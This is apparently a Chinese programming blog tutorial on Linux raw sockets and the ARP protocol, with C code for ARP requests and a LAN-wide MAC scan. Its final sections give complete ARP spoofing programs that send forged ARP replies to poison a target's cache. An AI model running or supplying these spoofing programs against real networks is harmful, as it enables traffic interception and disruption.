原始套接（ARP协议的使用）

最新推荐文章于 2024-07-24 10:57:17 发布
最新推荐文章于 2024-07-24 10:57:17 发布
阅读量1.6k 收藏 28
点赞数 6
分类专栏： 网络编程 文章标签： 网络 socket 网络通信 接口 http
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43288201/article/details/106290198
版权

原始套接字

原始套接字（SOCK_RAW）
1、一种不同于SOCK_STREAM、SOCK_DGRAM的套接字，它实现于系统核心
2、可以接收本机网卡上所有的数据帧（数据包）,对于监听网络流量和分析网络数据很有作用
3、开发人员可发送自己组装的数据包到网络上
4、广泛应用于高级网络编程
5、网络专家、黑客通常会用此来编写奇特的网络程序
流式套接字只能收发
TCP协议的数据
数据报套接字只能收发
UDP协议的数据
原始套接字可以收发
1、内核没有处理的数据包，因此要访问其他协议
2、发送的数据需要使用，原始套接字(SOCK_RAW)

在这里插入图片描述

1、创建原始套接字

int socket(PF_PACKET, SOCK_RAW, protocol)
功能：
    创建链路层的原始套接字
参数：
    protocol：指定可以接收或发送的数据包类型
    ETH_P_IP:IPV4数据包
    ETH_P_ARP:ARP数据包
    ETH_P_ALL:任何协议类型的数据包
返回值：
    成功(>0):链路层套接字
    失败(<0):出错
头文件：
	#include <sys/socket.h>
    #include <netinet/ether.h>

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
int main()
{
	//创建一个链路层 通信的原始套接字
	int fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	printf("fd = %d\n", fd);
	
	close(fd);
	return 0;
}

在这里插入图片描述

2、原始套接字发送数据（sendto）

sendto(sock_raw_fd, msg, msg_len, 0,(struct sockaddr*)&sll, sizeof(sll));
注意：
1、sock_raw_fd：原始套接字
2、msg:发送的消息（封装好的协议数据）
3、sll:本机网络接口，指发送的数据应该从本机的哪个网卡出去，而不是以前的目的地址
想一想：
如何定义sll?

在这里插入图片描述
原始套接字：组帧数据报文----->从本机的哪块网卡sendto发出去

2.1、本机的接口地址结构

#include <netpacket/packet.h>
struct sockaddr_ll sll;

在这里插入图片描述
只需要对sll.sll_ifindex赋值，就可使用

2.2、获取我们的本地接口

通过ioctl来获取网络接口地址

struct ifreq：#include <net/if.h>
IFNAMSIZ 16

#include <sys/ioctl.h>
int ioctl(int fd, int request,void *)

在这里插入图片描述
ioctl参数对照表：
在这里插入图片描述

案例1：扫描mac地址 （要知道ARP协议）

ARP概述
ARP（Address Resolution Protocol，地址解析协议）
1、是TCP/IP协议族中的一个
2、主要用于查询指定ip所对应的的MAC
3、请求方使用广播来发送请求
4、应答方使用单播来回送数据
5、为了在发送数据的时候提高效率在计算中会有一个ARP缓存表，用来暂时存放ip所对应的MAC，在linux中使用ARP即可查看,在xp中使用ARP -a
在linux与xp系统下查看ARP的方式：
在这里插入图片描述
以机器A获取机器B的MAC为例：
在这里插入图片描述
ARP协议格式：
在这里插入图片描述

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<pthread.h>
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
void *recv_msg(void *arg)
{
	int sockfd = (int)arg;
	while(1)
	{
		unsigned char buf[1500]="";
		recvfrom(sockfd, buf,sizeof(buf), 0,NULL,NULL);
		
		if(ntohs(*(unsigned short *)(buf+12)) == 0x0806)//arp报文
		{
			if(ntohs(*(unsigned short *)(buf+14+6)) == 2)//应答
			{
				//获取mac buf中的
				unsigned char tmp_ip[4]={192,168,0,110};
				if(memcmp(tmp_ip,buf+14+14, 4) == 0)
				{
					char mac[18]="";
					sprintf(mac,"%02x:%02x:%02x:%02x:%02x:%02x",
					buf[6+0],buf[6+1],buf[6+2],buf[6+3],buf[6+4],buf[6+5]);
					char ip[16]="";
					sprintf(ip,"%d.%d.%d.%d",\
					buf[28+0],buf[28+1],buf[28+2],buf[28+3]);
					printf("IP:%s--->MAC:%s\n",ip,mac);
					break;
				}
				
			}
			
			
		}
		return NULL;
	}
	
}
int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp请求报文
	unsigned char msg[]={
		/*mac报文头部 14B*/
		0xff,0xff,0xff,0xff,0xff,0xff,/*目的mac地址*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		0x08,0x06,/*帧类型*/
		
		/*ARP报文头部 28B*/
		0x00,0x01,/*硬件类型*/
		0x08,0x00,/*协议类型*/
		6,/*硬件地址长度*/
		4,/*协议地址长度*/
		0x00,0x01,/*1 ARP请求*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		192,168,0,111,/*源IP 根据自己修改 ubuntu_ip*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*目的mac地址*/
		192,168,0,110/*目的IP*/
	};
	
	//创建线程接受arp应答
	pthread_t tid;
	pthread_create(&tid,NULL, recv_msg, (void *)sockfd);
	
	//发送arp请求帧数据
	my_sendto(sockfd, "eth0",msg, 42);
	
	//等待线程结束
	pthread_join(tid, NULL);
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

运行结果：
在这里插入图片描述

案例2 扫描整个局域网的mac地址

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<pthread.h>
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
void *recv_msg(void *arg)
{
	int sockfd = (int)arg;
	while(1)
	{
		unsigned char buf[1500]="";
		recvfrom(sockfd, buf,sizeof(buf), 0,NULL,NULL);
		
		if(ntohs(*(unsigned short *)(buf+12)) == 0x0806)//arp报文
		{
			if(ntohs(*(unsigned short *)(buf+14+6)) == 2)//应答
			{
				
				char mac[18]="";
				sprintf(mac,"%02x:%02x:%02x:%02x:%02x:%02x",
				buf[6+0],buf[6+1],buf[6+2],buf[6+3],buf[6+4],buf[6+5]);
				char ip[16]="";
				sprintf(ip,"%d.%d.%d.%d",\
				buf[28+0],buf[28+1],buf[28+2],buf[28+3]);
				printf("IP:%s--->MAC:%s\n",ip,mac);
			}
		}
	}
	return NULL;
}
int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp请求报文
	unsigned char msg[]={
		/*mac报文头部 14B*/
		0xff,0xff,0xff,0xff,0xff,0xff,/*目的mac地址*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		0x08,0x06,/*帧类型*/
		
		/*ARP报文头部 28B*/
		0x00,0x01,/*硬件类型*/
		0x08,0x00,/*协议类型*/
		6,/*硬件地址长度*/
		4,/*协议地址长度*/
		0x00,0x01,/*1 ARP请求*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		192,168,0,111,/*源IP 根据自己修改 ubuntu_ip*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*目的mac地址*/
		192,168,0,0/*目的IP*/
	};
	
	//创建线程接受arp应答
	pthread_t tid;
	pthread_create(&tid,NULL, recv_msg, (void *)sockfd);
	sleep(2);
	//发送arp请求帧数据
	int i=0;
	for(i=1;i<255;i++)
	{
		msg[41]=i;
		my_sendto(sockfd, "eth0",msg, 42);
	}
	
	sleep(3);
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

运行结果：
在这里插入图片描述

案例：ARP欺骗1 (数组逐个元素组包)

在这里插入图片描述

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);

int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp应答报文
	unsigned char msg[]={
		/*mac报文头部 14B*/
		0x70,0x5A,0x0F,0x63,0xF5,0x9D,/*目的mac地址 XPmac*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*源mac地址伪装的mac 假的*/
		0x08,0x06,/*帧类型*/
		
		/*ARP报文头部 28B*/
		0x00,0x01,/*硬件类型*/
		0x08,0x00,/*协议类型*/
		6,/*硬件地址长度*/
		4,/*协议地址长度*/
		0x00,0x02,/*2 ARP应答*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*源mac地址伪装的mac 假的*/
		192,168,0,111,/*源IP 根据自己修改 ubuntu_ip*/
		0x70,0x5A,0x0F,0x63,0xF5,0x9D,/*目的mac地址 xp_mac*/
		192,168,0,110/*目的IP*/
	};
	
	//发送arp请求帧数据
	int i=0;
	for(i=1;i<20;i++)
	{
		my_sendto(sockfd, "eth0",msg, 42);
		sleep(1);
	}
	
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

运行之前：
在这里插入图片描述
运行之后：sudo ./a.out
在这里插入图片描述

案例：ARP欺骗2 (结构体完成)

1、以太网结构体

struct ether_header所在位置:#include <net/ethernet.h>（首选）

在这里插入图片描述

2、ARP 头部

Struct arphdr ;所在位置 /usr/include/net/if_arp.h #include <net/if_arp.h>

在这里插入图片描述
使用的时候记得将#if 0—>改成#if 1
案例：

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<unistd.h>//_exit
#include<string.h>//strncpy
#include <net/ethernet.h>//struct ether_header
#include <net/if_arp.h>//struct arphdr
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);

int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	/*目的mac地址 XPmac*/
	unsigned char dst_mac[6]={0x70,0x5A,0x0F,0x63,0xF5,0x9D};
	unsigned char src_mac[6]={0x00};
	unsigned char src_ip[4]={192,168,0,111};
	unsigned char dst_ip[4]={192,168,0,110};
	
	unsigned char msg[1024]="";
	//1、组mac头部
	struct ether_header *eth_addr = (struct ether_header *)msg;
	//赋值目的mac地址
	memcpy(eth_addr->ether_dhost, dst_mac, 6);
	//赋值源mac地址
	memcpy(eth_addr->ether_shost, src_mac, 6);
	//赋值帧类型
	eth_addr->ether_type = htons(0x0806);
	
	//2、组arp头部
	struct arphdr *arp_head = (struct arphdr *)(msg+14);
	arp_head->ar_hrd = htons(1);
	arp_head->ar_pro = htons(0x0800);
	arp_head->ar_hln = 6;
	arp_head->ar_pln = 4;
	arp_head->ar_op = htons(2);
	memcpy(arp_head->__ar_sha, src_mac,6);
	memcpy(arp_head->__ar_sip, src_ip,4);
	memcpy(arp_head->__ar_tha, dst_mac,6);
	memcpy(arp_head->__ar_tip, dst_ip,4);
	
	//发送arp请求帧数据
	int i=0;
	for(i=1;i<20;i++)
	{
		my_sendto(sockfd, "eth0",msg, 42);
		sleep(1);
	}
	
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}
看见代码就想敲
关注
专栏目录
《Linux网络编程》： 原始套接字ARP协议报文
yexiangCSDN的专栏
01-04 548
如果 A （192.168.1.1 ）向 B （192.168.1.2 ）发送一个数据包，那么需要的条件有 ip、port、使用的协议（TCP/UDP）之外还需要 MAC 地址，因为在以太网数据包中 MAC 地址是必须要有的。那么怎样才能知道对方的 MAC 地址？答案是：它通过 ARP 协议来获取对方的 MAC 地址。APR协议请看《TCP/IP协议族》：ARP协议一 、《TCP/IP协议族》...
Linux原始套接字之ARP协议实现
02-19 3256
1. ARP协议介绍 　ARP（AddressResolutionProtocol）地址解析协议用于将计算机的网络地址（IP地址32位）转化为物理地址（MAC地址48位）[RFC826].ARP协议是属于链路层的协议，在以太网中的数据帧从一个主机到达网内的另一台主机是根据48位的以太网地址（硬件地址）来确定接口的，而不是根据32位的IP地址。内核（如驱动）必须知道目的端的硬件地址才能发送数据。当
【RawSocket】RawSocket的使用方法
最新发布
qq_38089448的博客
07-24 1022
RawSocket是数据链路层的socketRaw socket（原始套接字）是一种特殊的网络套接字类型，它允许应用程序直接发送和接收底层的网络数据包，而不需要经过标准的传输层协议（如TCP或UDP）的处理。3.4.5.6.7.
原始套接字--arp相关
aihongzang7880的博客
03-20 232
arp请求示例 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <arp...
原始套接字发送ARP数据包
IDoubleTong的博客
04-14 4743
什么是ARP协议     ARP协议是Address Resolution Protocol（地址解析协议）的缩写。在局域网中，网络中实际传输的是数据帧，数据帧里面有目的主机的MAC地址。但这个目的MAC地址是如何获取的呢？就是通过地址解析协议获得的。所谓“地址解析”就是主机在发送数据帧之前将目标IP地址转化成目标MAC地址的过程。ARP协议的基本功能就是通...
arp发送和接收处理代码以及udp原始套接字编程
12-18
arpSend.c为arp包发送事例 arpRecv.c为arp包接受事例 main.c为android平台的接受arp包分析padding字段后对方发送udp原始套接字事例
原始套接字实现--arp欺骗
josenxiao的博客
11-23 3807
1、利用原始套接字实现arp欺骗：       首先我们要清楚arp的原理：       这样我们就可以很清楚我们要做什么了：     2、既然这样我们就可以十分明白自己该怎样做了。   来看一下linux下的一些对于arp头部的构造的源码和各个字段的常见参数解析：去文件/usr/include/net/if_arp.h /ustr/include/netine
arp.rar_RAW_arp_arp协议_raw_socket _原始套接字
09-19
在给定的“arp.rar_RAW_arp_arp协议_raw_socket _原始套接字”资源中，主要涉及的是使用原始套接字实现ARP（Address Resolution Protocol，地址解析协议）的过程。 ARP是TCP/IP协议栈中的一个重要部分，主要负责将...
通过原始套接字使用arp协议通过对方ip地址获取mac地址
07-05
通过原始套接字使用arp协议通过对方ip地址获取mac地址
arp包发送及接收以及udp原始套接字编程
12-18
本篇将详细介绍ARP包的发送与接收，以及在Android平台上使用UDP原始套接字进行编程的相关知识。 首先，我们来看ARP包的发送。在`arpSend.c`示例中，主要涉及以下几个关键步骤： 1. 构造ARP请求或响应报文：ARP包由...
05-原始套接字05-原始套接字
03-26
使用原始套接字进行编程时，需要了解不同协议的数据包结构，以便正确组装或拆解它们。 - **协议层次关系**：OSI七层模型中的每一层都有特定的功能和对应的数据包格式。例如，TCP/IP模型中，网络层的IP数据包包含了...
ARP欺骗（原始套接字系列八）
06-26 276
ARP欺骗的原理可简单的解释如下：假设有三台主机A,B,C位于同一个交换式局域网中，监听者处于主机A，而主机B,C正在通信。现在A希望能嗅探到B->C的数据，于是A就可以伪装成C对B做ARP欺骗--向B发送伪造的ARP应答包，应答包中IP地址为C的IP地址而MAC地址为A的MAC地址。 这个应答包会刷新B的ARP缓存，让B认为A就是C，说详细点，就是让B认为C的IP地址映射到的MA...
arp协议原理 基于tcp协议的套接字通信 加入通信循环与链接循环 编写远程执行命令的程序
Yosigo_的博客
01-17 302
arp协议的工作原理 发送端与接收端在一个局域网内时 arp协议会把发送者与被发送者的ip地址与子网掩码按位运算会得到一个子网地址，对比子网地址可以确认两台 计算机在不在一个子网内，如果两台计算机在同一个子网内，arp协议会把发送者的mac地址进行打包，会把 目标mac打包成FF:FF:FF:FF:FF:FF（指的是要跟目标要mac地址，这是一种信号），以太网的头打包好后， 会再打包ip头，ip头就是发送者与被发送者的ip头。然后会以广播的方式把数据包（数据包的内容就是一些 请求获得对方mac地址之类的）发
【转】linux socket()调用与arp报文发送
cffy625的专栏
11-24 1701
 Linux提供最常用的网络通信应用程序开发接口--Berkerley套接字(Socket)．它既适用于同一主机上进程间通信(IPC)，又适用于不同主机上的进程间通信。套接字的设置通过socket调用完成：int socket(int family,int type,int protocol);其中family指通信域或协议族，Linux系统支持的网络协议族有PF_UNIX，PF_IPX，PF_P
利用原始套接字抓取数据
星愿心愿的专栏
05-10 5064
<br />项目需求，需要从链路层抓包，分析实现网络登录认证功能，现在网上找到两个不错的抓包程序，参考此文章，顺利完成任务，现将此文章收藏与此，便参考，同时感谢文章版主，谢谢！<br /> <br />一：抓包分析：http://blog.csdn.net/aaa6695798/archive/2009/03/20/4008322.aspx<br /> <br />二：原始套接字抓包分析<br /> <br />原始套接字的创建<br />方法1： socket(PF_INET,SOCK_RAW,IPPRO
linux c arp 发送与接收 arp包 (实际调试通过的代码)
dp__mcu的专栏
05-08 2550
//1.先发包 //0000 6c 62 6d 3e 8d 60 11 22 33 44 55 66 08 06 00 01 lbm>.`." 3DUf.... //0010 08 00 06 04 00 01 11 22 33 44 55 66 c0 a8 00 01 ......." 3DUf.... //0020 6c 62 6d 3e 8d 60 c0 a8 00 69 00 00 00 00 00 00 lbm>.`.. .i...... //0030 00...
套接字的地址结构
baiwan111的专栏
11-02 1257
套接字的地址格式有很多种，比如sockaddr、sockaddr_in、sockaddr_ipx、sockaddr_pkt、sockaddr_ll等等，这里就来谈谈他们的区别与联系。 struct sockaddr: sockaddr是通用的socket地址，定义在“include/linux/socket.h“，其具体格式如下： struct sockaddr  { sa_fami
Linux小知识--原始套接字（raw socket）之模拟ping
小人物的编程
11-04 4311
利用原始套接字模拟ping
Linux网络编程- 原始套接字（Raw Socket）
青衫客36的博客
10-07 4572
原始套接字（Raw Socket）提供了一种机制，允许应用程序直接访问底层传输协议，绕过操作系统提供的传输层接口。这种套接字通常用于实现新的协议或对现有协议进行低级别的操作。以下是对原始套接字的详细介绍：定义与用途:创建:特权:工作方式:用途与限制:注意事项:跨平台的差异:总的来说，原始套接字是一个非常强大的工具，但也需要谨慎使用。正确使用它需要对网络协议有深入的理解，而滥用它可能导致网络问题或被视为恶意活动。创建链路层的原始套接字允许我们直接与链路层设备（例如以太网适配器）交互，从而可以发送和接收链路层帧
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值